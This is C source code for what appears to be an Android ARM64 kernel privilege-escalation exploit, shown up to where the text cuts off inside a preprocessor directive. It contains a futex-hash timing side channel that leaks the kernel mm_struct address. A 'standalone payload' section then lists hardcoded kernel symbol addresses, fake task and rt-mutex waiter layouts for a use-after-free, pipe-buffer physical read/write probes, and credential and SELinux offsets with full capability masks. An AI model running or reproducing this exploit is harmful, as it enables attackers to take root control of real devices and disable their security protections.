#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define __ARM 1 #define PHYSRW_READ_MARKER "PIPE_PHYS_READ_PROBE_V1" #define PHYSRW_WRITE_MARKER "PIPE_PHYS_WRITE_PROBE_V1" #define PHYSRW_WRITE64_VALUE 0x5058595752495445ULL #define LOCKSTACKUAF_STANDALONE 1 /* begin embedded timeutils.h */ static inline size_t rdtsc_begin(void) { unsigned long long vct; asm volatile("isb" ::: "memory"); asm volatile("mrs %0, cntvct_el0" : "=r"(vct)); asm volatile("isb" ::: "memory"); return (size_t)vct; } static inline size_t rdtsc_end(void) { unsigned long long vct; asm volatile("isb" ::: "memory"); asm volatile("mrs %0, cntvct_el0" : "=r"(vct)); asm volatile("isb" ::: "memory"); return (size_t)vct; } /* end embedded timeutils.h */ /* begin embedded utils.h */ #define MAX(X,Y) (((X) > (Y)) ? (X) : (Y)) #define MIN(X,Y) (((X) < (Y)) ? (X) : (Y)) #define COLOR_GREEN "" #define COLOR_RED "" #define COLOR_YELLOW "" #define COLOR_DEFAULT "" #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ pr_error("operation failed at line %d: %s: %m\n", __LINE__, #x); \ __res; \ }) #define PR_ASSERT pr_warning #define ASSERT(cond) do { \ if (!!(cond) == 0) \ PR_ASSERT("state check failed\n"); \ } while (0) #define ASSERT_pr(cond, fmt, ...) do { \ if (!!(cond) == 0) \ PR_ASSERT("state check failed\n"); \ } while (0) #define pr_error(fmt, ...) do { \ printf("[-] " fmt, ##__VA_ARGS__); \ exit(-1); \ } while (0) #define pr_warning(fmt, ...) do { \ printf("[-] " fmt, ##__VA_ARGS__); \ } while (0) #define pr_info(fmt, ...) do { \ printf("[*] " fmt, ##__VA_ARGS__); \ } while (0) #define pr_success(fmt, ...) do { \ printf("[+] " fmt, ##__VA_ARGS__); \ } while (0) #define PAGE_SIZE 4096 static inline void pin_to_core(size_t core) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(core, &cpuset); SYSCHK(sched_setaffinity(0, sizeof(cpu_set_t), &cpuset)); } static inline void reset_cpu_pin(void) { cpu_set_t cpuset; memset(&cpuset, 0xff, sizeof(cpu_set_t)); SYSCHK(sched_setaffinity(0, sizeof(cpu_set_t), &cpuset)); } static inline void set_limit(void) { struct rlimit r; SYSCHK(getrlimit(RLIMIT_NOFILE, &r)); r.rlim_cur = r.rlim_max; SYSCHK(setrlimit(RLIMIT_NOFILE, &r)); SYSCHK(getrlimit(RLIMIT_NPROC, &r)); r.rlim_cur = r.rlim_max; SYSCHK(setrlimit(RLIMIT_NPROC, &r)); } static inline void set_unbuffer(void) { SYSCHK(setvbuf(stdin, NULL, _IONBF, 0)); SYSCHK(setvbuf(stdout, NULL, _IONBF, 0)); SYSCHK(setvbuf(stderr, NULL, _IONBF, 0)); } /* end embedded utils.h */ /* begin embedded futex_hash.h */ // --------------- ADDED/REPLACED FOR COMPATIBILITY --------------- typedef uint32_t u32; typedef uint32_t __u32; typedef uint8_t u8; // #include static inline __u32 rol32(__u32 word, unsigned int shift) { return (word << (shift & 31)) | (word >> ((-shift) & 31)); } #define fallthrough __attribute__((fallthrough)); // --------------- ADDED/REPLACED FOR COMPATIBILITY --------------- /* jhash.h: Jenkins hash support. * * Copyright (C) 2006. Bob Jenkins (bob_jenkins@burtleburtle.net) * * https://burtleburtle.net/bob/hash/ * * These are the credits from Bob's sources: * * lookup3.c, by Bob Jenkins, May 2006, Public Domain. * * These are functions for producing 32-bit hashes for hash table lookup. * hashword(), hashlittle(), hashlittle2(), hashbig(), mix(), and final() * are externally useful functions. Routines to test the hash are included * if SELF_TEST is defined. You can use this free for any purpose. It's in * the public domain. It has no warranty. * * Copyright (C) 2009-2010 Jozsef Kadlecsik (kadlec@blackhole.kfki.hu) * * I've modified Bob's hash to be useful in the Linux kernel, and * any bugs present are my fault. * Jozsef */ // #include // #include /* Best hash sizes are of power of two */ #define jhash_size(n) ((u32)1<<(n)) /* Mask the hash value, i.e (value & jhash_mask(n)) instead of (value % n) */ #define jhash_mask(n) (jhash_size(n)-1) /* __jhash_mix -- mix 3 32-bit values reversibly. */ #define __jhash_mix(a, b, c) \ { \ a -= c; a ^= rol32(c, 4); c += b; \ b -= a; b ^= rol32(a, 6); a += c; \ c -= b; c ^= rol32(b, 8); b += a; \ a -= c; a ^= rol32(c, 16); c += b; \ b -= a; b ^= rol32(a, 19); a += c; \ c -= b; c ^= rol32(b, 4); b += a; \ } /* __jhash_final - final mixing of 3 32-bit values (a,b,c) into c */ #define __jhash_final(a, b, c) \ { \ c ^= b; c -= rol32(b, 14); \ a ^= c; a -= rol32(c, 11); \ b ^= a; b -= rol32(a, 25); \ c ^= b; c -= rol32(b, 16); \ a ^= c; a -= rol32(c, 4); \ b ^= a; b -= rol32(a, 14); \ c ^= b; c -= rol32(b, 24); \ } /* An arbitrary initial parameter */ #define JHASH_INITVAL 0xdeadbeef /* jhash - hash an arbitrary key * @k: sequence of bytes as key * @length: the length of the key * @initval: the previous hash, or an arbitray value * * The generic version, hashes an arbitrary sequence of bytes. * No alignment or length assumptions are made about the input key. * * Returns the hash value of the key. The result depends on endianness. */ /* jhash2 - hash an array of u32's * @k: the key which must be an array of u32's * @length: the number of u32's in the key * @initval: the previous hash, or an arbitray value * * Returns the hash value of the key. */ static inline u32 jhash2(const u32 *k, u32 length, u32 initval) { u32 a, b, c; /* Set up the internal state */ a = b = c = JHASH_INITVAL + (length<<2) + initval; /* Handle most of the key */ while (length > 3) { a += k[0]; b += k[1]; c += k[2]; __jhash_mix(a, b, c); length -= 3; k += 3; } /* Handle the last 3 u32's: all the case statements fall through */ switch (length) { case 3: c += k[2]; fallthrough; case 2: b += k[1]; fallthrough; case 1: a += k[0]; __jhash_final(a, b, c); case 0: /* Nothing left to add */ break; } return c; } #define OFFSET_OF(TYPE, FIELD) ((size_t) &((TYPE *)0)->FIELD) #define FUTEX_KEY_INIT (union futex_key) { .both = { .ptr = 0ULL } } typedef union { struct { uint64_t i_seq; unsigned long pgoff; unsigned int offset; } shared; struct { union { // struct mm_struct *mm; void *mm; uint64_t __tmp; }; unsigned long address; unsigned int offset; } private; struct { uint64_t ptr; unsigned long word; unsigned int offset; } both; } futex_key_t; uint32_t futex_hash_no_trunc(futex_key_t *key) { uint32_t hash = jhash2((uint32_t *)key, OFFSET_OF(typeof(*key), both.offset) / 4, key->both.offset); return hash; } uint32_t __futex_hash(futex_key_t *key, uint32_t futex_hashsize) { uint32_t hash = futex_hash_no_trunc(key); return hash & (futex_hashsize-1); } unsigned long futex_hashsize; void futex_init(void) { futex_hashsize = SYSCHK(sysconf(_SC_NPROCESSORS_ONLN) * 256); } uint32_t futex_hash(size_t addr, size_t mm) { ASSERT_pr((futex_hashsize != 0), "need to call futex_init() first\n"); futex_key_t key; key.private.mm = (void *)mm; key.private.address = addr & ~0xfff; key.private.offset = addr & 0xfff; return __futex_hash(&key, futex_hashsize); } /* end embedded futex_hash.h */ /* begin embedded kernelsnitch.h */ #define FUTEX_SZ (64ULL<<30) #define FUTEX_MMAP_SZ (1ULL<<30) #define PAGE_SIZE 4096 #define APPENDED_FUTEXES 4096 #define MULITPLE 4 #define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL #define KERNELSNITCH_IDENTITY_END (KERNELSNITCH_IDENTITY_START + (64ULL<<30)) #define IDENTITY_START KERNELSNITCH_IDENTITY_START #define IDENTITY_END KERNELSNITCH_IDENTITY_END #define COARSE_SZ (1ULL << 30) enum kernelsnitch_state { KERNELSNITCH_NOT_INIT = 0, KERNELSNITCH_INIT, KERNELSNITCH_COLLISIONS_FOUND, KERNELSNITCH_COLLISIONS_NOT_FOUND, KERNELSNITCH_MM_FOUND, KERNELSNITCH_MM_NOT_FOUND, KERNELSNITCH_LAST, }; struct kernelsnitch_shared_state { volatile size_t mm_struct_sz; volatile size_t mm_slab_order; volatile size_t verbose; size_t collisions; size_t thread_cnt; size_t cpu_cnt; size_t futex_hash_table_size; size_t total_futexes; volatile unsigned char *futexes; volatile unsigned char inc_futex[PAGE_SIZE]; volatile size_t *futex_addrs; volatile size_t *times; volatile size_t found; volatile size_t mm_struct; pthread_t *tids; size_t identity_diff; enum kernelsnitch_state state; int mte_enabled; }; #define WAIT() do { for (size_t i = 0; i < 2; ++i) sched_yield(); } while (0) /** * FUTEX syscall */ static int __futex(unsigned int *uaddr, int futex_op, unsigned int val, const struct timespec *timeout, unsigned int *uaddr2, unsigned int val3) { return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr2, val3); } /** * Do a private futex wait to increase the hash bucket of futex_hash(ks->inc_futex[id], current->mm_struct) * @arg arg.ks: shared KernelSnitch state * @arg arg.id: identifier of the futex user-space address to be used for the increase */ struct inc_arg { struct kernelsnitch_shared_state *ks; size_t id; }; static void *__do_increase(void *arg) { struct inc_arg *inc_arg = (struct inc_arg *)arg; struct kernelsnitch_shared_state *ks = inc_arg->ks; size_t id = inc_arg->id; SYSCHK(__futex((unsigned int *)&ks->inc_futex[id], FUTEX_WAIT_PRIVATE, 0, NULL, NULL, 0)); free(inc_arg); return 0; } /** * Creates threads and put them to sleep to increase the chain of a hash bucket * @arg ks: shared KernelSnitch state * @arg id: identifier of the futex user-space address to be used for the increase * @arg amount: increase */ static void __increase(struct kernelsnitch_shared_state *ks, size_t id, size_t amount) { pthread_t tid; for (size_t i = 0; i < amount; ++i) { struct inc_arg *inc_arg = calloc(1, sizeof(struct inc_arg)); inc_arg->id = id; inc_arg->ks = ks; SYSCHK(pthread_create(&tid, 0, __do_increase, (void *)inc_arg)); } WAIT(); } /** * Simple compare */ #define REPEAT_MEASUREMENT 128 #define AVERAGE (1<<3) static int __compare(const void *a, const void *b) { return (*(size_t *)a - *(size_t *)b); } /** * Performs the non-destructive traversal of the hashbucket futex_hash(futex_addr, current->mm_struct) * @arg futex_addr: user-space address of the futex (required only to be a mapped memory) * @return averaged time of the futex wait operation */ static size_t __measure(size_t futex_addr) { size_t t0; size_t t1; size_t time = 0; // do some simple signal processing and reject bad ones size_t __times[REPEAT_MEASUREMENT]; for (size_t l = 0; l < REPEAT_MEASUREMENT; ++l) { sched_yield(); t0 = rdtsc_begin(); SYSCHK(__futex((unsigned int *)futex_addr, FUTEX_WAKE_PRIVATE, 0, NULL, NULL, 0)); t1 = rdtsc_end(); __times[l] = t1 - t0; } qsort(__times, REPEAT_MEASUREMENT, sizeof(size_t), __compare); for (size_t l = 0; l < AVERAGE; ++l) time += __times[l]; time /= AVERAGE; return time; } /** * Performs the bruteforce leak in the range [start, end] * @arg arg.ks: shared KernelSnitch state * @arg arg.range: range of the bruteforce attempt */ struct range { size_t id; size_t start; size_t end; }; struct mm_leak_arg { struct kernelsnitch_shared_state *ks; struct range range; }; static void *__mm_leak(void *arg) { struct mm_leak_arg *mm_leak_arg = (struct mm_leak_arg *)arg; struct kernelsnitch_shared_state *ks = mm_leak_arg->ks; struct range *range = &mm_leak_arg->range; if (ks->verbose) pr_info("[% 3zd] start finding mm_struct [%016zx-%016zx]\n", range->id, range->start, range->end); size_t mm_slab_sz = PAGE_SIZE << ks->mm_slab_order; for (size_t coarse_addr = range->start; (coarse_addr < range->end) && !ks->found; coarse_addr += COARSE_SZ) { if ((coarse_addr % (1ULL << 40)) == 0) if (ks->verbose) pr_info("[% 3zd] [%016zx-%016llx]\n", range->id, coarse_addr, coarse_addr + (1ULL << 40)); for (size_t slab_addr = coarse_addr; (slab_addr < coarse_addr + COARSE_SZ) && !ks->found; slab_addr += mm_slab_sz) { for (size_t mm_struct_candidate = slab_addr; (mm_struct_candidate < slab_addr + mm_slab_sz) && !ks->found; mm_struct_candidate += ks->mm_struct_sz) { size_t found_hash = 1; if (!ks->mte_enabled) { // test the mm_struct candidate for (size_t i = 1; i < ks->collisions && found_hash; ++i) found_hash = (futex_hash(ks->futex_addrs[0], mm_struct_candidate) == futex_hash(ks->futex_addrs[i], mm_struct_candidate)); if (found_hash) { ks->mm_struct = mm_struct_candidate; ks->found = 1; break; } } else { // need to set the tag if mte is enabled for (size_t tag_candidate = 0; tag_candidate < 15 && !ks->found; ++tag_candidate) { size_t __mm_struct_candidate = mm_struct_candidate & ~(0xfULL << 56); __mm_struct_candidate |= (tag_candidate << 56); found_hash = 1; for (size_t i = 1; i < ks->collisions && found_hash; ++i) found_hash = (futex_hash(ks->futex_addrs[0], __mm_struct_candidate) == futex_hash(ks->futex_addrs[i], __mm_struct_candidate)); if (found_hash) { if (ks->verbose) pr_info("found mm_struct %016zx\n", __mm_struct_candidate); ks->mm_struct = __mm_struct_candidate; ks->found = 1; break; } } } } } } free(mm_leak_arg); return 0; } /****************************************************************************************************************/ /* EXTERNAL FUNCTIONS */ /****************************************************************************************************************/ /** * Setup phase of KernelSnitch * @arg __mm_struct_sz: sizeof(mm_struct) needed for the bruteforcing phase * @arg __mm_slab_order: the order of the mm_struct slab * @arg __thread_cnt: thread count used for the bruteforcing phase * @arg __collision_cnt: collision count to then try to correlate the mm_struct address to the user addresses * @arg __verbose: amount of print info (1...enabled; 0...disabled) * @arg __mte_enabled: is mte enabled on the victim system (1...enabled; 0...disabled) * @return shared KernelSnitch state */ struct kernelsnitch_shared_state *kernelsnitch_setup(size_t __mm_struct_sz, size_t __mm_slab_order, size_t __thread_cnt, size_t __collision_cnt, size_t __verbose, size_t __mte_enabled) { struct kernelsnitch_shared_state *ks = SYSCHK(mmap(0, sizeof(struct kernelsnitch_shared_state), PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED, -1, 0)); ks->mm_struct = -1; ks->mm_struct_sz = __mm_struct_sz; ks->mm_slab_order = __mm_slab_order; ks->cpu_cnt = sysconf(_SC_NPROCESSORS_ONLN)*2; ks->thread_cnt = __thread_cnt; ks->collisions = __collision_cnt; ks->verbose = __verbose; ks->mte_enabled = __mte_enabled; // unfortunately I have to use a the kernelsnitch_shared_state and mmap(shared) as find collisions and bruteforce might be in different processes!!! ks->futex_hash_table_size = 256*ks->cpu_cnt; ks->total_futexes = ks->futex_hash_table_size*ks->collisions*MULITPLE; ks->times = (volatile size_t *)SYSCHK(mmap(0, sizeof(size_t)*ks->total_futexes, PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED, -1, 0)); ks->tids = (pthread_t *)SYSCHK(mmap(0, sizeof(pthread_t)*ks->thread_cnt, PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED, -1, 0)); ks->futexes = SYSCHK(mmap(0, FUTEX_SZ, PROT_NONE, MAP_ANON|MAP_PRIVATE|MAP_NORESERVE, -1, 0)); for (size_t addr = 0; addr < FUTEX_SZ; addr += FUTEX_MMAP_SZ) SYSCHK(mmap((void *)((size_t)ks->futexes + addr), FUTEX_MMAP_SZ, PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED|MAP_FIXED, -1, 0)); ks->identity_diff = ((IDENTITY_END - IDENTITY_START)/ks->thread_cnt); ks->futex_addrs = (volatile size_t *)SYSCHK(mmap(0, sizeof(size_t)*(ks->collisions + 1), PROT_WRITE|PROT_READ, MAP_ANON|MAP_SHARED, -1, 0)); if (ks->verbose) pr_info("parameters cpu (%zd) mm_struct sz (%zx) mm slab order (%zd) thread cnt (%zd) collisions (%zd) mte %s\n", ks->cpu_cnt, ks->mm_struct_sz, ks->mm_slab_order, ks->thread_cnt, ks->collisions, ks->mte_enabled ? "enabled" : "disabled"); pin_to_core(0); futex_init(); ks->state = KERNELSNITCH_INIT; return ks; } /** * Find collisions for different user space futex addresses within one process and the piled-up hash bucket * @arg ks: shared KernelSnitch state */ void kernelsnitch_find_collisions(struct kernelsnitch_shared_state *ks) { #define ID 128 #ifndef KERNELSNITCH_THRESHOLD_MULT #define KERNELSNITCH_THRESHOLD_MULT 10 #endif size_t count = 0; size_t wanted; size_t futex_addr; size_t id; ASSERT_pr((ks->state == KERNELSNITCH_INIT), "wrong state\n"); ASSERT_pr((ks->collisions >= 2), "need at least one collision\n"); wanted = ks->collisions - 1; size_t approx_time = MIN(__measure((size_t)&ks->futexes[0]), __measure((size_t)&ks->futexes[4096+8])); // piled-up hash bucket ID 128 // here, I append 4096 futexes to this hash bucket creating a distinction between most other empty or lightly populated ones __increase(ks, ID, APPENDED_FUTEXES); if (ks->verbose) pr_info("start finding collisisons\n"); // find futex user space address which collide with the piled-up hash bucket ID 128 ks->futex_addrs[0] = (size_t)&ks->inc_futex[ID]; if (ks->verbose) pr_info("target %016zx\n", ks->futex_addrs[0]); for (size_t i = 2; i < ks->total_futexes && count < wanted; ++i) { id = (i*4096) | (i*8 % 4096); if (id >= FUTEX_SZ) break; futex_addr = (size_t)&ks->futexes[id]; ks->times[i] = __measure(futex_addr); if (ks->times[i] > (approx_time*KERNELSNITCH_THRESHOLD_MULT)) { count++; ks->futex_addrs[count] = futex_addr; if (ks->verbose) pr_info(" %016zx\n", futex_addr); } } if (wanted == count) { if (ks->verbose) pr_info("found %zd collisisons\n", count); ks->state = KERNELSNITCH_COLLISIONS_FOUND; } else { pr_warning("preparation scan incomplete\n"); ks->state = KERNELSNITCH_COLLISIONS_NOT_FOUND; } } size_t kernelsnitch_found_collisions(struct kernelsnitch_shared_state *ks) { ASSERT_pr((ks->state == KERNELSNITCH_COLLISIONS_FOUND || ks->state == KERNELSNITCH_COLLISIONS_NOT_FOUND), "wrong state\n"); return ks->state == KERNELSNITCH_COLLISIONS_FOUND; } /** * Brute-forcing phase, where it tests all mm_struct candidates and matches the hash collisions for this current candidate with the observed user space futex addresses * @arg ks: shared KernelSnitch state */ void kernelsnitch_bruteforce(struct kernelsnitch_shared_state *ks) { ASSERT_pr((ks->state == KERNELSNITCH_COLLISIONS_FOUND), "wrong state\n"); if (ks->verbose) pr_info("start bruteforcing\n"); reset_cpu_pin(); for (size_t i = 0; i < ks->thread_cnt; ++i) { struct mm_leak_arg *mm_leak_arg = (struct mm_leak_arg *)SYSCHK(calloc(1, sizeof(struct mm_leak_arg))); mm_leak_arg->ks = ks; mm_leak_arg->range.id = i; mm_leak_arg->range.start = IDENTITY_START + ks->identity_diff*i; mm_leak_arg->range.end = IDENTITY_START + ks->identity_diff*(i+1); if ((mm_leak_arg->range.start % COARSE_SZ) != 0) mm_leak_arg->range.start = (mm_leak_arg->range.start & ~(COARSE_SZ - 1)); if ((mm_leak_arg->range.end % COARSE_SZ )!= 0) mm_leak_arg->range.end = ((mm_leak_arg->range.end & ~(COARSE_SZ - 1)) + COARSE_SZ); SYSCHK(pthread_create(&ks->tids[i], 0, __mm_leak, mm_leak_arg)); } for (size_t i = 0; i < ks->thread_cnt; ++i) pthread_join(ks->tids[i], 0); ks->state = (ks->mm_struct == (size_t)-1) ? KERNELSNITCH_MM_NOT_FOUND : KERNELSNITCH_MM_FOUND; } /** * Cleanup phase for KernelSnitch * @arg ks: shared KernelSnitch state * @return the found mm_struct or -1 for not found */ size_t kernelsnitch_cleanup(struct kernelsnitch_shared_state *ks) { ASSERT_pr((ks->state == KERNELSNITCH_MM_FOUND || ks->state == KERNELSNITCH_MM_NOT_FOUND), "wrong state\n"); munmap((void *)ks->times, sizeof(size_t)*ks->total_futexes); ks->times = 0; munmap((void *)ks->tids, sizeof(pthread_t)*ks->thread_cnt); ks->tids = 0; munmap((void *)ks->futex_addrs, sizeof(size_t)*(ks->collisions + 1)); ks->futex_addrs = 0; munmap((void *)ks->futexes, FUTEX_SZ); ks->futexes = 0; size_t ret = ks->mm_struct; if (ks->verbose) pr_info("done\n"); munmap(ks, sizeof(struct kernelsnitch_shared_state)); return ret; } /** * Performs KernelSnitch * @arg __mm_struct_sz: sizeof(mm_struct) needed for the bruteforcing phase * @arg __mm_slab_order: the order of the mm_struct slab * @arg __thread_cnt: thread count used for the bruteforcing phase * @arg __collision_cnt: collision count to then try to correlate the mm_struct address to the user addresses * @arg __verbose: amount of print info (1...enabled; 0...disabled) * @arg __mte_enabled: is mte enabled on the victim system (1...enabled; 0...disabled) * @return the found mm_struct or -1 for not found */ size_t kernelsnitch_param(size_t __mm_struct_sz, size_t __mm_slab_order, size_t __thread_cnt, size_t __collision_cnt, size_t __verbose, size_t __mte_enabled) { struct kernelsnitch_shared_state *ks = kernelsnitch_setup(__mm_struct_sz, __mm_slab_order, __thread_cnt, __collision_cnt, __verbose, __mte_enabled); if (ks->verbose) pr_info("===============================================\n"); kernelsnitch_find_collisions(ks); if (ks->verbose) pr_info("===============================================\n"); kernelsnitch_bruteforce(ks); if (ks->verbose) pr_info("===============================================\n"); return kernelsnitch_cleanup(ks); } /* end embedded kernelsnitch.h */ #undef pr_info #define pr_info(fmt, ...) do { \ printf("[*] " fmt, ##__VA_ARGS__); \ fflush(stdout); \ } while (0) /* begin standalone payload */ #define ASHMEM_NAME_LEN 256 #define __ASHMEMIOC 0x77 #define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN]) #define MM_STRUCT_SZ 1024 #define MM_ORDER 3 #define MM_PARTIALS 5 #define CORE 0 #define ORDER3_SIZE (PAGE_SIZE << MM_ORDER) #define PIPE_CANDIDATE_PAGES (1 << MM_ORDER) #define SKB_SEND_SIZE (ORDER3_SIZE * 2) #ifndef SKB_RECLAIM_SENDS #define SKB_RECLAIM_SENDS 4 #endif #define PUNCH_SHMEM_LEN (16 * 1024 * 1024) #define PUNCH_FAULT_OFF 0xe0 #define LOCK_OFF 0x1350 #define W0_OFF 0x2220 #define FOPS_OFF 0x3338 #define RIGHT_OFF 0x4440 #define LEFT_OFF 0x5550 #define FAKE_TASK_OFF 0x5800 #define SKB_FRAG_BIAS 0xe80 #define ASHMEM_MISC_FOPS 0xffffffc08217cb80ULL #define ASHMEM_FOPS 0xffffffc081280b50ULL #define ASHMEM_IOCTL 0xffffffc080c38d28ULL #define ASHMEM_COMPAT_IOCTL 0xffffffc080c39660ULL #define ASHMEM_MMAP 0xffffffc080c396b8ULL #define ASHMEM_OPEN 0xffffffc080c398d8ULL #define ASHMEM_RELEASE 0xffffffc080c39960ULL #define ASHMEM_SHOW_FDINFO 0xffffffc080c39a80ULL #define CONFIGFS_READ_ITER 0xffffffc080464400ULL #define CONFIGFS_BIN_WRITE_ITER 0xffffffc080464930ULL #define COPY_SPLICE_READ 0xffffffc0803e5fd4ULL #define WAITER_LOCAL_OFF 0x80 #define WAITER_TREE_ENTRY_OFF 0x00 #define WAITER_PI_TREE_ENTRY_OFF 0x18 #define WAITER_TASK_OFF 0x30 #define WAITER_LOCK_OFF 0x38 #define WAITER_WAKE_STATE_OFF 0x40 #define WAITER_PRIO_OFF 0x44 #define WAITER_DEADLINE_OFF 0x48 #define WAITER_WW_CTX_OFF 0x50 #define FAKE_WAITER_PI_TREE_ENTRY_OFF 0x18 #define FAKE_WAITER_TASK_OFF 0x30 #define FAKE_WAITER_LOCK_OFF 0x38 #define FAKE_WAITER_WAKE_STATE_OFF 0x40 #define FAKE_WAITER_PRIO_OFF 0x44 #define FAKE_WAITER_DEADLINE_OFF 0x48 #define FAKE_WAITER_WW_CTX_OFF 0x50 #define FAKE_TASK_USAGE_OFF 0x40 #define FAKE_TASK_PRIO_OFF 0x84 #define FAKE_TASK_NORMAL_PRIO_OFF 0x8c #define FAKE_TASK_SCHED_TASK_GROUP_OFF 0x348 #define FAKE_TASK_PI_LOCK_OFF 0x924 #define FAKE_TASK_PI_WAITERS_OFF 0x938 #define FAKE_TASK_PI_TOP_TASK_OFF 0x948 #define FAKE_TASK_PI_BLOCKED_ON_OFF 0x950 #define FAKE_TASK_PRIO 120 #define CFG_PAGE_OFF 16 #define CFG_NEEDS_READ_FILL_OFF 80 #define CFG_BIN_BUFFER_OFF 88 #define CFG_BIN_BUFFER_SIZE_OFF 96 #define CFG_CB_MAX_SIZE_OFF 100 #define ASHMEM_NAME_PREFIX_LEN 11 #define ASHMEM_PREFIX_COUNT 0x6d6873612f766564ULL #define MM_OWNER_OFF 1032 #define TASK_PID_OFF 0x630 #define TASK_TGID_OFF 0x634 #define TASK_REAL_PARENT_OFF 0x640 #define TASK_REAL_CRED_OFF 0x830 #define TASK_CRED_OFF 0x838 #define TASK_COMM_OFF 0x848 #define TASK_COMM_LEN 16 #define CRED_UID_OFF 4 #define CRED_SECUREBITS_OFF 36 #define CRED_CAPS_OFF 40 #define CRED_SECURITY_OFF 120 #define SELINUX_CRED_BLOB_OFF 0 #define SELINUX_CRED_OSID_OFF 0 #define SELINUX_CRED_SID_OFF 4 #define SELINUX_KERNEL_SID 1 #define INIT_TASK_TASKS 0xffffffc08201fb90ULL #define SELINUX_ENFORCING 0xffffffc08225a420ULL #define SECURITY_CAPABLE_HEAD 0xffffffc0815ce4b8ULL #define KMALLOC_CACHES 0xffffffc0815cdfb8ULL #define TASK_TASKS_OFF 0x550 #define CAP_FULL 0x000001ffffffffffULL #define KMALLOC_SHIFT_HIGH 13 #define KMALLOC_BUCKETS (KMALLOC_SHIFT_HIGH + 1) #define KMALLOC_NORMAL_TYPE 0 #define KMALLOC_CGROUP_TYPE 3 #ifndef KMALLOC_PIPE_INDEX #define KMALLOC_PIPE_INDEX 11 #endif #define KMALLOC_CACHE_TYPES 4 #define KMALLOC_CACHE_SLOTS (KMALLOC_CACHE_TYPES * KMALLOC_BUCKETS) #define KMALLOC_CGROUP_PIPE_SLOT \ (KMALLOC_CACHES + (KMALLOC_CGROUP_TYPE * KMALLOC_BUCKETS + \ KMALLOC_PIPE_INDEX) * 8) #ifndef KMALLOC_PIPE_OBJ_SIZE #define KMALLOC_PIPE_OBJ_SIZE 0x800 #endif #define ANON_PIPE_BUF_OPS 0xffffffc081109910ULL #define DIRECT_MAP_BASE 0xffffff8000000000ULL #define DIRECT_MAP_END 0xffffff9000000000ULL #define VMEMMAP_START 0xfffffffe00000000ULL #define VMEMMAP_END (VMEMMAP_START + \ (((DIRECT_MAP_END - DIRECT_MAP_BASE) >> 12) * \ STRUCT_PAGE_SIZE)) #define STRUCT_PAGE_SIZE 0x40 #define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08 #define STRUCT_SLAB_CACHE_OFF 0x18 #define STRUCT_PAGE_TYPE_OFF 0x30 #define PAGE_TYPE_SLAB 0xf5 #define PIPE_BUFFER_SIZE 0x28 #ifndef PIPE_BUFFER_SLOTS #define PIPE_BUFFER_SLOTS 32 #endif #define PIPE_OBJECT_SIZE KMALLOC_PIPE_OBJ_SIZE #define PIPE_SCAN_CHUNK 0x400 #define PIPE_BUF_FLAG_CAN_MERGE 0x10 #ifndef PIPE_OBJS_PER_SLAB #define PIPE_OBJS_PER_SLAB 16 #endif #define PIPE_SLAB_SIZE (PIPE_OBJECT_SIZE * PIPE_OBJS_PER_SLAB) #define PIPE_MIN_PARTIAL 5 #define PIPE_CPU_PARTIAL 2 #ifndef PIPE_DRAIN_SLABS #define PIPE_DRAIN_SLABS 15 #endif #ifndef PIPE_RECLAIM_SLABS #define PIPE_RECLAIM_SLABS 15 #endif #define PIPE_N_SLABS (((PIPE_MIN_PARTIAL + PIPE_CPU_PARTIAL - 1) / \ PIPE_CPU_PARTIAL) * PIPE_CPU_PARTIAL) #define PIPE_C_SLABS PIPE_CPU_PARTIAL #define PIPE_E_SLABS 2 #define PIPE_N_COUNT (PIPE_N_SLABS * PIPE_OBJS_PER_SLAB) #define PIPE_C_COUNT (PIPE_C_SLABS * PIPE_OBJS_PER_SLAB) #define PIPE_E_COUNT (PIPE_E_SLABS * PIPE_OBJS_PER_SLAB) #define PIPE_DRAIN (PIPE_OBJS_PER_SLAB * PIPE_DRAIN_SLABS) #define PIPE_RECLAIM (PIPE_OBJS_PER_SLAB * PIPE_RECLAIM_SLABS) #define PIPE_SHAPE_ROUNDS 0 #ifndef PIPE_MAX_ATTEMPTS #define PIPE_MAX_ATTEMPTS 12 #endif #define PHYSRW_PROOF_OFF 0x7000 #define FOPS_READ_ITER_OFF 0x20 #define FOPS_WRITE_ITER_OFF 0x28 #define FOPS_IOCTL_OFF 0x50 #define FOPS_COMPAT_IOCTL_OFF 0x58 #define FOPS_MMAP_OFF 0x60 #define FOPS_OPEN_OFF 0x70 #define FOPS_RELEASE_OFF 0x80 #define FOPS_SPLICE_READ_OFF 0xc8 #define FOPS_SHOW_FDINFO_OFF 0xe0 #define KIMAGE_TEXT_BASE 0xffffffc080010000ULL #define P0_PAGE_OFFSET 0xffffff8000000000ULL #define P0_PHYS_OFFSET 0x40000000ULL #define P0_KERNEL_PHYS_LOAD 0x40010000ULL #ifndef TCP_CONSUME_DELAY #define TCP_CONSUME_DELAY 0 #endif #ifndef TCP_POST_GETSOCKOPT_HOLD #define TCP_POST_GETSOCKOPT_HOLD 20000 #endif #ifndef TCP_CONSUMER_CORE #define TCP_CONSUMER_CORE (CORE + 1) #endif #ifndef CONSUMER_MAX_CALLS #define CONSUMER_MAX_CALLS 1 #endif #ifndef TCP_ROUTE_ATTEMPTS #define TCP_ROUTE_ATTEMPTS 2000 #endif #ifndef TCP_ROUTE_ARM_SEQ #define TCP_ROUTE_ARM_SEQ 16 #endif #ifndef TCP_CFI_ATTEMPTS_PER_PAGE #define TCP_CFI_ATTEMPTS_PER_PAGE 100 #endif #ifndef TCP_PAGE_ATTEMPTS #define TCP_PAGE_ATTEMPTS 1 #endif #ifndef ROUTE_WAIT_SECONDS #define ROUTE_WAIT_SECONDS 5 #endif #ifndef TCP_ZEROCOPY_RECEIVE #define TCP_ZEROCOPY_RECEIVE 35 #endif #ifndef KERNEL_PAGE_SETUP_ATTEMPTS #define KERNEL_PAGE_SETUP_ATTEMPTS 6 #endif #ifndef STAGE0_CONSUME_DELAY #define STAGE0_CONSUME_DELAY 2000 #endif #ifndef 